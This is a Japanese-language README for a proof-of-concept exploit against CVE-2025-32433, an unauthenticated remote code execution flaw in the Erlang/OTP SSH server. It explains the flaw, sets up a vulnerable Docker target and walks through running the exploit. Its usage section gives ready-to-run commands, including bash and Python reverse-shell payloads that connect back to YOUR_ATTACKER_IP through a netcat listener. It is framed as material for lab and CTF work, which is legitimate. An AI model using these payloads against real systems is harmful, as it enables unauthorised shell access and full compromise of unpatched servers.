
CVE-2025-32433の概念実証エクスプロイトで、Erlang/OTP SSHにおける未認証のリモートコード実行を可能にします。セキュリティ研究やCTFチャレンジ向けのDockerセットアップとリバースシェルペイロードを含みます。
このリポジトリには、Erlang/Open Telecom Platform (OTP) のSSHサーバー実装に影響を与える重大な未認証リモートコード実行 (RCE) 脆弱性である CVE-2025-32433 の概念実証 (PoC) が含まれています。このPoCは、教育目的、セキュリティ研究、Capture The Flag (CTF) チャレンジ用に設計されています。
⚠️ 免責事項 - 教育および倫理的な使用のみ ⚠️
このPoCは、教育および倫理的なハッキング目的のためにのみ提供されます。隔離された仮想マシンやCTFプラットフォームなど、セキュリティテストを実行する明示的な許可がある管理された環境での使用を意図しています。
使用禁止: 所有していない、またはテストする明示的な書面による許可を得ていないシステムに対して、このPoCを使用しないでください。コンピュータシステムへの不正アクセスまたは悪用は違法かつ非倫理的です。このリポジトリの作者およびメンテナーは、このコードによって引き起こされた誤用または損害について一切責任を負いません。
| 属性 | 詳細 |
|---|---|
| CVE ID | CVE-2025-32433 |
| 脆弱性タイプ | 未認証リモートコード実行 (RCE) |
| CVSS v3.1 スコア | 10.0 (Critical) |
| 影響を受けるソフトウェア | Erlang/OTP SSH サーバー (ssh) |
| 影響を受けるバージョン | OTP-27.3.2 およびそれ以前 OTP-26.2.5.10 およびそれ以前 OTP-25.3.2.19 およびそれ以前 OTP 17.0 およびそれ以前のバージョン |
| パッチ適用済みバージョン | OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 |
この脆弱性は、Erlang/OTP SSH サーバーが事前認証フェーズ中に SSH プロトコルメッセージを処理する方法に存在します。具体的には、サーバーが SSH プロトコルのシーケンスを適切に強制しないため、リモートの未認証攻撃者が細工された SSH_MSG_CHANNEL_OPEN および SSH_MSG_CHANNEL_REQUEST メッセージを送信できます。これにより、攻撃者はセッションチャネルを開き、有効な認証情報を提供することなく任意の Erlang コマンド(さらにシステムコマンドを実行できる)を実行できます。SSH デーモンが昇格した権限(例: root)で実行されている場合、悪用に成功するとシステム全体が侵害される可能性があります。
脆弱な Erlang/OTP SSH サーバーをセットアップする最も簡単な方法は、提供されている Dockerfile を使用することです。
このリポジトリをクローンします:
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
Docker イメージをビルドします:
このコマンドは、脆弱なバージョンの Erlang/OTP (OTP-26.2.5.10) をコンパイルし、SSH サーバーを構成します。
docker build -t erlang-ssh-vulnerable .
脆弱なサーバーコンテナを実行します:
これにより、Erlang/OTP SSH サーバーがバックグラウンドで起動し、ポート 2222 で待ち受けます。
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d: コンテナをデタッチドモードで実行します。--name erlang-ssh-target: 管理を容易にするためにコンテナに名前を割り当てます。-p 2222:2222: ホストのポート 2222 をコンテナのポート 2222 にマッピングします。コンテナが実行されていることを確認します:
docker ps
cve_2025_32433_exploit.py スクリプトは、対話形式またはコマンドライン引数を使用して実行できます。
python3 cve_2025_32433_exploit.py
127.0.0.1)。2222)。これは、対話モードでコマンドプロンプトを空白のままにした場合のデフォルトの動作です。ターゲット上に /tmp/note.txt ファイルを作成します。
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
Exploit Ran! が表示されるはずです。リバースシェルを取得するには、自分のマシン上のリスナーに接続し直すペイロードを指定する必要があります。
攻撃マシン (例: Kali Linux) の選択したポートで Netcat リスナーを起動します。
nc -lvnp 4444
重要: 攻撃マシンのファイアウォール (例:
ufw) がこのポートへの受信接続を許可していることを確認してください。sudo ufw allow 4444/tcp
PoC スクリプトをリバースシェルペイロード付きで実行します。 YOUR_ATTACKER_IP を自分のマシンの IP アドレスに置き換えてください。
Bash リバースシェル:
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
Python リバースシェル (多くの場合、より信頼性が高い):
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
Netcat リスナーを確認します。接続を受け取り、ターゲットコンテナ上でシェルを取得できるはずです。
Docker コンテナとイメージを停止して削除するには:
# Stop and remove the container
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# Optional: remove the image as well
docker rmi erlang-ssh-vulnerable